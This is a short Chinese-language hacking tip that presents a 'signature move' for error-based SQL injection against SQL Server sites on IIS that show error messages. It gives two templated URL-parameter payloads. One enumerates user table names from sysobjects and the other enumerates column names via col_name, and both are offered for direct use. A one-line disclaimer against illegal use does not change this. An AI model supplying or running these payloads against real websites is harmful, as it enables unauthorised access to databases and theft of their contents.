必殺技成功條件：
1.找到注入點
2.數據庫為SQLSERVER
3.IIS沒屏蔽錯誤提示

注：因必殺技是我研究N久的经验，經屡次改良，成功概率極高。請不要用於不合法用途上，否則後果自負。

[N] = 第N個表
ID=1 and (Select top 1 name from(Select top [N] id,name from sysobjects where xtype=char(85)) T order by id desc)>1

[T] = 表名
[N] = 第N個字段
ID=1 and (Select Top 1 col_name(object_id('[T]'),[N]) from sysobjects)>1